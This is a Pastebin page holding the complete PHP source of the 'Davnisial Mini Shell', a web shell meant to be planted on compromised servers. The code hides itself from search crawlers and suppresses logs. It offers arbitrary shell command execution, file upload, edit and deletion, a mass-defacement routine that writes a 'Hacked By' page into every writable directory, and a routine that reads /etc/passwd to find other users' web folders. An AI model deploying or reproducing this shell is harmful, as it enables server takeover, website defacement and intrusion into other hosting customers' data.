API tools faq
paste
Advertisement
Guest User

xx

a guest
Mar 30th, 2018
403
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.85 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. $auth_pass = "d489a3289ecdc847cb67f7a480e6f9fa"; // default: kontol
  3. session_start();
  4. error_reporting(0);
  5. set_time_limit(0);
  6. @set_magic_quotes_runtime(0);
  7. @clearstatcache();
  8. @ini_set('error_log',NULL);
  9. @ini_set('log_errors',0);
  10. @ini_set('max_execution_time',0);
  11. @ini_set('output_buffering',0);
  12. @ini_set('display_errors', 0);
  13.  
  14.  
  15. $color = "#00ff00";
  16. $default_action = 'FilesMan';
  17. $default_use_ajax = true;
  18. $default_charset = 'UTF-8';
  19. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  20. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  21. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  22. header('HTTP/1.0 404 Not Found');
  23. exit;
  24. }
  25. }
  26.  
  27. function login_shell() {
  28. ?>
  29. <html>
  30. <body><body> <script> alert(' Silahkan Login Terlebih Dahulu ^_^ ') </script></body>
  31. <head>
  32. <title>DavnisiaL</title>
  33. <link href='http://guegans.ga/waifu.jpg' rel='icon' type='image/x-icon'/>
  34. <style type="text/css">
  35. body {
  36. background-color: #000000;
  37. background-image: url(http://guegans.ga/linux.jpg);
  38. <!--http://guegans.ga/linux.jpg-->
  39. margin-left: 0px;
  40. margin-top: 0px;
  41. margin-right: 0px;
  42. margin-bottom: 0px;
  43. background-position:right top;
  44. background-repeat:no-repeat;
  45. background-size:100%
  46. }
  47. html {
  48. background:#387c6c;
  49. -webkit-background-size: cover;
  50. -moz-background-size: cover;
  51. -o-background-size: cover;
  52. background-size: cover;
  53. }
  54. html,body{margin:0;padding:0;height:100%;font:10px Arial;}
  55. #wrapper{min-height:100%;position:relative;}
  56. #header{background:#ff0000;padding:5px;height:50px;color:#3000ff;}
  57. #body{padding-bottom:40px;padding-left:10px;}
  58. #footer{background:#ff0000;position:absolute;bottom:0;width:100%;
  59. text-align:center;color:#408080;}
  60. header {
  61. color: ;
  62. margin: 10px auto;
  63. }
  64.  
  65. </style>
  66. </head>
  67.  
  68. <center>
  69. <font face="monospace" size='3' color='cyan'><br>
  70.  
  71.  
  72. <header>
  73. <pre>
  74. </pre>
  75. </header>
  76. <br><br><br><br><br><br><br><br>
  77. <fieldset>
  78. <label for="login">Username</label>
  79. <form method="post">
  80. <input type="text" name="id" value="Davnisial">
  81. </form>
  82. Password
  83. <form method="post">
  84. <input type="password" name="pass"> <br><br>
  85. <input type="submit" value="Login">
  86. </fieldset>
  87. </form>
  88. <style>
  89. </style>
  90. </head>
  91. <body>
  92.  
  93. </font>
  94. </body>
  95. </head>
  96. <table border="0" cellspacing="1" cellpadding="4" class="tborder"><tr><td class="thead"><strong></strong></td></tr><tr><td class="trow1"></a></td></tr></table><br />
  97. <table border="0" cellspacing="1" cellpadding="4" class="tborder">
  98. <tbody><tr>
  99. <?php
  100. exit;
  101. }
  102. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  103. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  104. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  105. else
  106. login_shell();
  107. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  108. @ob_clean();
  109. $file = $_GET['file'];
  110. header('Content-Description: File Transfer');
  111. header('Content-Type: application/octet-stream');
  112. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  113. header('Expires: 0');
  114. header('Cache-Control: must-revalidate');
  115. header('Pragma: public');
  116. header('Content-Length: ' . filesize($file));
  117. readfile($file);
  118. exit;
  119. }
  120. ?>
  121. <!DOCTYPE HTML>
  122. <html lang="en" class="no-js">
  123. <HEAD>
  124. <title>Davnisial Mini</title>
  125. <link href="http://fonts.googleapis.com/css?family=Fredericka+the+Great" rel="stylesheet" type="text/css">
  126. <link href="http://fonts.googleapis.com/css?family=Jolly+Lodger" rel="stylesheet" type="text/css">
  127. <link href="http://fonts.googleapis.com/css?family=Homenaje" rel="stylesheet" type="text/css">
  128. <link rel="shortcut icon" href="https://defacer.id/img/favicon.png" type="image/x-icon">
  129. <meta name='author' content='Copyright 2018'>
  130. <meta charset="UTF-8">
  131. <style type="text/css">
  132. body {
  133. background: url("http://guegans.ga/linux.jpg");
  134. color: #383838;
  135. font-family :Homenaje;
  136. }
  137. hr {
  138. border:0;
  139. height:1px;
  140. background-image:linear-gradient(to right,rgba(0,0,0,0),rgb(255, 0, 0),rgba(0,0,0,0))
  141. }
  142. #content .first{
  143. background-color: #060606;
  144. }
  145.  
  146. a{
  147. color: #fff;
  148. text-decoration: none;
  149. }
  150. a:hover{
  151. color:white;
  152. }
  153. input,select,textarea{
  154. border: 1px #000000 solid;
  155. -moz-border-radius: 4px;
  156. -webkit-border-radius:4px;
  157. border-radius:4px;
  158. }
  159.  
  160. #menu{
  161. margin:9px 3px 4px 2px;
  162. }
  163. #menu a{
  164. padding:4px 19px;
  165. margin:0;
  166. background:#515151;
  167. text-decoration:none;
  168. letter-spacing:2px;
  169. -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  170.  
  171. }
  172. #menu a:hover{
  173. background:#fff;
  174. border-bottom:1px solid #333333;
  175. border-top:1px solid #333333;
  176. }
  177.  
  178. .tombolup{
  179. background:black;
  180. color:red;
  181. margin:0 5px;
  182. font-family:iceland;
  183. font-size:16px;
  184. border:2px solid red;
  185. }
  186.  
  187. .tombolup:hover{
  188. background:black;
  189. color:red;
  190. margin:0 5px;
  191. font-family:iceland;
  192. font-size:16px;
  193. border:2px solid #fff;
  194. }
  195.  
  196. .bordergaya{
  197. background:black;
  198. color:red;
  199. margin:0 5x;
  200. font-family:iceland;
  201. font-size:16px;
  202. border:2px solid #191919;
  203. }
  204.  
  205. .bordergaya:hover{
  206. background:black;
  207. border:2px solid #fff;
  208. }
  209.  
  210. .borderaja{
  211. background:black;
  212. color:red;
  213. margin:0 5px;
  214. font-family:iceland;
  215. font-size:16px;
  216. border:2px solid #fff;
  217. }
  218.  
  219. </style>
  220. </head>
  221. <body>
  222. <center>
  223.  
  224. <?php
  225. set_time_limit(0);
  226. error_reporting(0);
  227. if(get_magic_quotes_gpc()){
  228. foreach($_POST as $key=>$value){
  229. $_POST[$key] = stripslashes($value);
  230. }
  231. }
  232.  
  233. /////////////info server//////////////
  234.  
  235. $self=$_SERVER['PHP_SELF'];
  236. $server_sof=$_SERVER['SERVER_SOFTWARE'];
  237. $your_ip=$_SERVER['REMOTE_ADDR'];
  238. $server_ip=gethostbyname($_SERVER['HTTP_HOST']);
  239. $admin=$_SERVER['SERVER_ADMIN'];
  240. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  241. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  242. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  243. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  244. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  245.  
  246. /////////////All Functions/////////////
  247. function exe($cmd) {
  248. if(function_exists('system')) {
  249. @ob_start();
  250. @system($cmd);
  251. $buff = @ob_get_contents();
  252. @ob_end_clean();
  253. return $buff;
  254. } elseif(function_exists('exec')) {
  255. @exec($cmd,$results);
  256. $buff = "";
  257. foreach($results as $result) {
  258. $buff .= $result;
  259. } return $buff;
  260. } elseif(function_exists('passthru')) {
  261. @ob_start();
  262. @passthru($cmd);
  263. $buff = @ob_get_contents();
  264. @ob_end_clean();
  265. return $buff;
  266. } elseif(function_exists('shell_exec')) {
  267. $buff = @shell_exec($cmd);
  268. return $buff;
  269. }
  270. }
  271.  
  272. /////////////Permission CWD/////////////////
  273.  
  274. function perms($file){
  275. $perms = fileperms($file);
  276.  
  277.  
  278. if (($perms & 0xC000) == 0xC000) {
  279. // Socket
  280. $info = 's';
  281. } elseif (($perms & 0xA000) == 0xA000) {
  282. // Symbolic Link
  283. $info = 'l';
  284. } elseif (($perms & 0x8000) == 0x8000) {
  285. // Regular
  286. $info = '-';
  287. } elseif (($perms & 0x6000) == 0x6000) {
  288. // Block special
  289. $info = 'b';
  290. } elseif (($perms & 0x4000) == 0x4000) {
  291. // Directory
  292. $info = 'd';
  293. } elseif (($perms & 0x2000) == 0x2000) {
  294. // Character special
  295. $info = 'c';
  296. } elseif (($perms & 0x1000) == 0x1000) {
  297. // FIFO pipe
  298. $info = 'p';
  299. } else {
  300. // Unknown
  301. $info = 'u';
  302. }
  303.  
  304. // Owner
  305. $info .= (($perms & 0x0100) ? 'r' : '-');
  306. $info .= (($perms & 0x0080) ? 'w' : '-');
  307. $info .= (($perms & 0x0040) ?
  308. (($perms & 0x0800) ? 's' : 'x' ) :
  309. (($perms & 0x0800) ? 'S' : '-'));
  310.  
  311. // Group
  312. $info .= (($perms & 0x0020) ? 'r' : '-');
  313. $info .= (($perms & 0x0010) ? 'w' : '-');
  314. $info .= (($perms & 0x0008) ?
  315. (($perms & 0x0400) ? 's' : 'x' ) :
  316. (($perms & 0x0400) ? 'S' : '-'));
  317.  
  318. // World
  319. $info .= (($perms & 0x0004) ? 'r' : '-');
  320. $info .= (($perms & 0x0002) ? 'w' : '-');
  321. $info .= (($perms & 0x0001) ?
  322. (($perms & 0x0200) ? 't' : 'x' ) :
  323. (($perms & 0x0200) ? 'T' : '-'));
  324.  
  325. return $info;
  326. }
  327.  
  328. function getfile($urlfile, $content) {
  329. $fp = fopen($content, "w");
  330. $ch = curl_init();
  331. curl_setopt($ch, CURLOPT_URL, $urlfile);
  332. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  333. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  334. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  335. curl_setopt($ch, CURLOPT_FILE, $fp);
  336. return curl_exec($ch);
  337. curl_close($ch);
  338. fclose($fp);
  339. ob_flush();
  340. flush();
  341. }
  342.  
  343. /////////////CSS input////////////////
  344.  
  345. echo '<style>
  346. .js .inputfile {
  347. width: 0.1px;
  348. height: 0.1px;
  349. opacity: 0;
  350. overflow: hidden;
  351. position: absolute;
  352. z-index: -1;
  353. }
  354.  
  355. .inputfile + label {
  356. max-width: 80%;
  357. font-size: 1.25rem;
  358. /* 20px */
  359. font-weight: 700;
  360. text-overflow: ellipsis;
  361. white-space: nowrap;
  362. cursor: pointer;
  363. display: inline-block;
  364. overflow: hidden;
  365. padding: 0.625rem 1.25rem;
  366. /* 10px 20px */
  367. }
  368.  
  369. .no-js .inputfile + label {
  370. display: none;
  371. }
  372.  
  373. .inputfile:focus + label,
  374. .inputfile.has-focus + label {
  375. outline: 1px dotted #000;
  376. outline: -webkit-focus-ring-color auto 5px;
  377. }
  378.  
  379. .inputfile + label * {
  380. /* pointer-events: none; */
  381. /* in case of FastClick lib use */
  382. }
  383.  
  384. .inputfile + label svg {
  385. width: 1em;
  386. height: 1em;
  387. vertical-align: middle;
  388. fill: currentColor;
  389. margin-top: -0.25em;
  390. /* 4px */
  391. margin-right: 0.25em;
  392. /* 4px */
  393. }
  394.  
  395. /* style 4 */
  396.  
  397. .inputfile-4 + label {
  398. color: red;
  399. font-family:Homenaje;
  400. font-size:15px;
  401. }
  402.  
  403. .inputfile-4:focus + label,
  404. .inputfile-4.has-focus + label,
  405. .inputfile-4 + label:hover {
  406. color: crimson;
  407. }
  408.  
  409. .inputfile-4 + label figure {
  410. width: 50px;
  411. height: 50px;
  412. border-radius: 25%;
  413. background-color: crimson;
  414. display: block;
  415. padding: 10px;
  416. margin: 0 auto 10px;
  417. }
  418.  
  419. .inputfile-4:focus + label figure,
  420. .inputfile-4.has-focus + label figure,
  421. .inputfile-4 + label:hover figure {
  422. background-color: red;
  423. }
  424.  
  425. .inputfile-4 + label svg {
  426. width: 100%;
  427. height: 100%;
  428. fill: black;
  429. }
  430.  
  431. .jumpe{
  432. text-align: left;
  433. font-size: 16px;
  434. color: springgreen;
  435. font-family: Homenaje;
  436. margin-left: 38%;
  437. }
  438. .kecew{
  439. text-align: left;
  440. font-size: 15px;
  441. color: red;
  442. font-family: Homenaje;
  443. }
  444. </style>
  445. <script>(function(e,t,n){var r=e.querySelectorAll("html")[0];r.className=r.className.replace(/(^|\s)no-js(\s|$)/,"$1js$2")})(document,window,0);</script>
  446. ';
  447.  
  448. ////////////////Halaman Utama//////////////////
  449.  
  450. echo "<hr width=50%>";
  451. echo "<br><font color='red' size='7px''>Davnisial Mini Shell</font><br>";
  452. echo '<br/><font size="5" color="Red">
  453. <tr><td> Current Path : ';
  454.  
  455. ////////////////////////CWD //////////////////////
  456.  
  457. if(isset($_GET['path'])){
  458. $path = $_GET['path'];
  459. }else{
  460. $path = getcwd();
  461. }
  462. $path = str_replace('\\','/',$path);
  463. $paths = explode('/',$path);
  464.  
  465. foreach($paths as $id=>$pat){
  466. if($pat == '' && $id == 0){
  467. $a = true;
  468. echo '<a href="?path=/">/</a>';
  469. continue;
  470. }
  471. if($pat == '') continue;
  472. echo '<a href="?path=';
  473. for($i=0;$i<=$id;$i++){
  474. echo "$paths[$i]";
  475. if($i != $id) echo "/";
  476. }
  477. echo '">'.$pat.'</a>/';
  478. }
  479. echo '</font><br>';
  480. ?>
  481.  
  482. <!-- Menu Tools -->
  483. <hr width=50%>
  484. <center><div id="menu">&nbsp;&nbsp;
  485. <a href="?"><font color="red">Home</font></a> &nbsp;
  486. <a href="?<?php echo "path=".$path; ?>&amp;x=upload"><font color="red">Upload</font></a> &nbsp;
  487. <a href="?<?php echo "path=".$path; ?>&amp;x=cmd"><font color="red">Command</font></a> &nbsp;
  488. <a href="?<?php echo "path=".$path; ?>&amp;x=massde"><font color="red">Mass Deface</font></a> &nbsp;
  489. <a href="?<?php echo "path=".$path; ?>&amp;x=jumping"><font color="red">Jumping</font></a> &nbsp;
  490. </div>
  491. <hr width=50%>
  492. </center>
  493.  
  494.  
  495. <?php
  496. //////////////////////////////////Lihat File///////////////////////////////
  497.  
  498. if(isset($_GET['filesrc'])){
  499. echo "<br /><tr><td>Your Current DIR : ";
  500. echo $_GET['filesrc'];
  501. echo '</tr></td></table>';
  502. echo('<br /><br /><textarea class="bordergaya" cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea><br><br><br>');
  503. break;
  504. }
  505.  
  506. //////////////////////////////////Permission///////////////////////////////
  507.  
  508. elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  509. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  510. if($_POST['opt'] == 'chmod'){
  511. if(isset($_POST['perm'])){
  512. if(chmod($_POST['path'],$_POST['perm'])){
  513. echo '<br><font color=lime>Change Permission Sukses!</font>';
  514. }else{
  515. echo '<br><font color=red>Change Permission Gagal!</font>';
  516. }
  517. }
  518. echo '<br><br><br><form method="POST">
  519. Permission : <input name="perm" class="bordergaya" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  520. <input type="hidden" name="path" value="'.$_POST['path'].'">
  521. <input type="hidden" name="opt" value="chmod">
  522. <input class="bordergaya" type="submit" value="Go" />
  523. </form>';
  524. }elseif($_POST['opt'] == 'rename'){
  525. if(isset($_POST['newname'])){
  526. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  527. echo '<br><font color=lime>Change Name Sukses!</font>';
  528. }else{
  529. echo '<br><font color=red>Change Name Gagal!</font>';
  530. }
  531. $_POST['name'] = $_POST['newname'];
  532. }
  533. echo '<br><br><br><form method="POST">
  534. New Name : <input class="bordergaya" name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  535. <input type="hidden" name="path" value="'.$_POST['path'].'">
  536. <input type="hidden" name="opt" value="rename">
  537. <input class="bordergaya" type="submit" value="Go" />
  538. </form>';
  539. }elseif($_POST['opt'] == 'edit'){
  540. if(isset($_POST['src'])){
  541. $fp = fopen($_POST['path'],'w');
  542. if(fwrite($fp,$_POST['src'])){
  543. echo '<br><font color=lime>Edit File Sukses!</font><br>';
  544. }else{
  545. echo '<br><font color=red>Edit File Gagal!</font><br>';
  546. }
  547. fclose($fp);
  548. }
  549. echo '<form method="POST">
  550. <textarea class="bordergaya" cols=90 rows=25 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  551. <input type="hidden" name="path" value="'.$_POST['path'].'">
  552. <input type="hidden" name="opt" value="edit">
  553. <input class="bordergaya" type="submit" value="Save" />
  554. </form><br><br><br>';
  555. }
  556. echo '</center>';
  557. break;
  558. }
  559. ///////////////////////////////Mass Deface////////////////////////////////
  560. elseif(isset($_GET['x']) && ($_GET['x'] == 'massde'))
  561. {
  562. ?></center></center>
  563. <style type="text/css">
  564. .ketengah{
  565. text-align: left;
  566. font-size: 16px;
  567. color: orange;
  568. font-family: Homenaje;
  569. margin-left: 30%;
  570. </style>
  571. <?php
  572. function sabun_massal($dir,$namafile,$isi_script) {
  573. if(is_writable($dir)) {
  574. $dira = scandir($dir);
  575. foreach($dira as $dirb) {
  576. $dirc = "$dir/$dirb";
  577. $lokasi = $dirc.'/'.$namafile;
  578. if($dirb === '.') {
  579. file_put_contents($lokasi, $isi_script);
  580. } elseif($dirb === '..') {
  581. file_put_contents($lokasi, $isi_script);
  582. } else {
  583. if(is_dir($dirc)) {
  584. if(is_writable($dirc)) {
  585. echo "<br><br><center>[<font color=lime>DONE</font>] <font color=red>$lokasi</font><br></center>";
  586. file_put_contents($lokasi, $isi_script);
  587. $f0xbase = sabun_massal($dirc,$namafile,$isi_script);
  588. }
  589. }
  590. }
  591. }
  592. }
  593. }
  594. if($_POST['start']) {
  595. echo "<div style='margin: 5px auto; padding: 5px'>";
  596. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  597. echo "</div>";
  598. } else {
  599. echo "<center>";
  600. echo "<form method='post'><br><br>
  601. <table>
  602. <tr>
  603. <td><font style='text-decoration: none; margin-left:10px;'>Folder</font></td>
  604. <td align='center'>:</td>
  605. <td><input class='borderaja' type='text' name='d_dir' value='$path' style='width: 95%;' height='10'><br></td>
  606. </tr>
  607. <tr>
  608. <td><font style='text-decoration: none; margin-left:10px;'>Filename</font></td>
  609. <td align='center'>:</td>
  610. <td><input class='borderaja' type='text' name='d_file' value='msg.htm' style='width: 95%;' height='10'><br></td>
  611. </tr>
  612. <tr>
  613. <td colspan='3' align='center'><font style='text-decoration: none;'>Script Deface : </font><br></td>
  614. </tr>
  615. <tr>
  616. <td colspan='3'><textarea class='borderaja' name='script' style='width: 500px; height: 200px;'>Hacked By Davnisial</textarea><br></td>
  617. </tr>
  618. <tr>
  619. <td colspan='3' align='center'><input class='borderaja' type='submit' name='start' value='Mass Deface' style='width: 500px;'><br/></td>
  620. </tr>
  621. </table><br>
  622. </form></center><br/>";
  623. }break;?><center><center>
  624. <?php
  625. }
  626.  
  627. //////////////////////////////////Upload File//////////////////////////////////////
  628.  
  629. elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')) {
  630.  
  631. echo "<div id='nav'>";
  632. echo '<br><br>
  633. <form enctype="multipart/form-data" method="POST">
  634. <font color=red>Upload File : <br><br><br>
  635. <input class="bordergaya" type="file" name="file" />
  636. <input class="bordergaya" type="submit" value="Upload" />
  637. </form></font>
  638. </td></tr>';
  639. echo '<br></td></tr><tr><td>';
  640. if(isset($_FILES['file'])){
  641. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  642. echo '<font color="lime">Berhasil Upload File </font><br/>';
  643. }else{
  644. echo '<font color="red">Gagal Upload File :( .</font><br/>';
  645. }
  646. }
  647. }
  648. //////////////////////////////////CMD//////////////////////////////////////
  649.  
  650. elseif(isset($_GET['x']) && ($_GET['x'] == 'cmd')) {
  651. echo "<br/><br/><form method='post'>
  652. <font clss='jumpe'>Command :</font>
  653. <input class='bordergaya' type='text' size='30' height='10' name='cmd'><input type='submit' class='bordergaya' name='execmd' value=' >> '>
  654. </form>";
  655. if($_POST['execmd']) {
  656. echo "<pre>".exe($_POST['cmd'])."</pre>";
  657. }
  658. }
  659.  
  660. ///////////////////////////////JUMPING////////////////////////////////////
  661.  
  662. elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){
  663. ?>
  664. <form action="?path=<?php echo $pwd; ?>&amp;x=jumping" method="post">
  665. <?php
  666. //radable public_html
  667. ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
  668. set_time_limit(0);
  669. ###################
  670. @$passwd = fopen('/etc/passwd','r');
  671. if (!$passwd) { die('<br><br><br><font color=red> Coudn`t Read /etc/passwd</font>'); }
  672. $pub = array();
  673. $users = array();
  674. $conf = array();
  675. $i = 0;
  676. while(!feof($passwd))
  677. {
  678. $str = fgets($passwd);
  679. if ($i > 35)
  680. {
  681. $pos = strpos($str,':');
  682. $username = substr($str,0,$pos);
  683. $dirz = '/home/'.$username.'/public_html/';
  684. if (($username != ''))
  685. {
  686. if (is_readable($dirz))
  687. {
  688. array_push($users,$username);
  689. array_push($pub,$dirz);
  690. }
  691. }
  692. }
  693. $i++;
  694. }
  695. ###################
  696. echo '<br><br></center></center>';
  697. echo "<font class='jumpe'>[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br /></font>";
  698. echo "<font class='jumpe'>[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /></font>";
  699. echo "<font class='jumpe'>[~] Searching for passwords in config files...<br /><br /></font>";
  700. foreach ($users as $user)
  701. {
  702. $path = "/home/$user/public_html/";
  703. echo "<font class='jumpe'><a href='?path&#61;$path' target='_blank' font-weight:bold; color:#F80;'>$path</a><br></font>";
  704. }
  705. echo "<br /><font class='jumpe'>[+] Complete...\n"."<br /></font>";
  706. echo "<font class='jumpe'>[+] Monggo Sikat Boz!\n"."<br /></font>";
  707. echo '<br><br></b></body><center>';
  708. }
  709. else{
  710. echo '</table><br />';
  711.  
  712. ////////////////////File Manager///////////////////////////////////////////
  713.  
  714. echo "<center>";
  715. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  716. if($_POST['type'] == 'dir'){
  717. if(rmdir($_POST['path'])){
  718. echo '<script>alert("Delete Dir Sukses!");</script>';
  719. }else{
  720. echo '<script>alert("Delete Dir Gagal!");</script>';
  721. }
  722. }elseif($_POST['type'] == 'file'){
  723. if(unlink($_POST['path'])){
  724. echo '<script>alert("Delete File Sukses!");</script>';
  725. }else{
  726. echo '<script>alert("Delete File Gagal!");</script>';
  727. }
  728. }
  729. }
  730. echo '</center>';
  731. $scandir = scandir($path);
  732. echo '<div id="content"><table width="700" border="0" cellpadding="4" cellspacing="1" align="center">
  733. <tr class="first">
  734. <td><center><font color="#fff">Name</center></td>
  735. <td><center><font color="#fff">Size</center></td>
  736. <td><center><font color="#fff">Permissions</center></td>
  737. <td><center><font color="#fff">Action</center></td>
  738. </tr>';
  739.  
  740. foreach($scandir as $dir){
  741. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  742. echo "<tr>
  743. <td><a style='color:red; font-family:Homenaje;' href=\"?path=$path/$dir\">$dir</a></td>
  744. <td><center style='color:#17c8bf; font-family:Homenaje;'>--</center></td>
  745. <td><center>";
  746. if(is_writable("$path/$dir")) echo "<font style='color:lime; font-family:Homenaje;'>";
  747. elseif(!is_readable("$path/$dir")) echo "<font style='color:red; font-family:Homenaje;'>";
  748. echo perms("$path/$dir");
  749. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  750.  
  751. echo "</center></td>
  752. <td width='26%'><center><form method=\"POST\" action=\"?option&path=$path\">
  753. <select class='bordergaya' name=\"opt\">
  754. <option value=\"\">Select</option>
  755. <option value=\"delete\">Delete</option>
  756. <option value=\"chmod\">Chmod</option>
  757. <option value=\"rename\">Rename</option>
  758. </select>
  759. <input type=\"hidden\" name=\"type\" value=\"dir\">
  760. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  761. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  762. <input class='bordergaya' type=\"submit\" value=\">\" />
  763. </form></center></td>
  764. </tr>";
  765. }
  766. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  767. foreach($scandir as $file){
  768. if(!is_file("$path/$file")) continue;
  769. $size = filesize("$path/$file")/1024;
  770. $size = round($size,3);
  771. if($size >= 1024){
  772. $size = round($size/1024,2).' MB';
  773. }else{
  774. $size = $size.' KB';
  775. }
  776.  
  777. echo "<tr>
  778. <td><a style='color:red; font-family:Homenaje;' href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  779. <td><center style='color:#17c8bf; font-family:Homenaje;'>".$size."</center></td>
  780. <td><center>";
  781. if(is_writable("$path/$file")) echo "<font style='color:lime; font-family:Homenaje;'>";
  782. elseif(!is_readable("$path/$file")) echo "<font style='color:red; font-family:Homenaje;'>";
  783. echo perms("$path/$file");
  784. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  785. echo "</center></td>
  786. <td width='26%'><center><form method=\"POST\" action=\"?option&path=$path\">
  787. <select class='bordergaya' name=\"opt\">
  788. <option value=\"\">Select</option>
  789. <option value=\"delete\">Delete</option>
  790. <option value=\"chmod\">Chmod</option>
  791. <option value=\"rename\">Rename</option>
  792. <option value=\"edit\">Edit</option>
  793. </select>
  794. <input type=\"hidden\" name=\"type\" value=\"file\">
  795. <input type=\"hidden\" name=\"name\" value=\"$file\">
  796. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  797. <input class='bordergaya' type=\"submit\" value=\">\" />
  798. </form></center></td>
  799. </tr>";
  800. }
  801. echo '</table>
  802. </div>';
  803. }
  804.  
  805. echo "<br/><hr width=50%><center><font color=red>Copyright &copy; ".date("Y")." - </font>
  806. <a href='http://google.com/' target='_blank'><font color=teal>Davnisial</font></a></center>";
  807. ?>
  808. </body>
  809. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!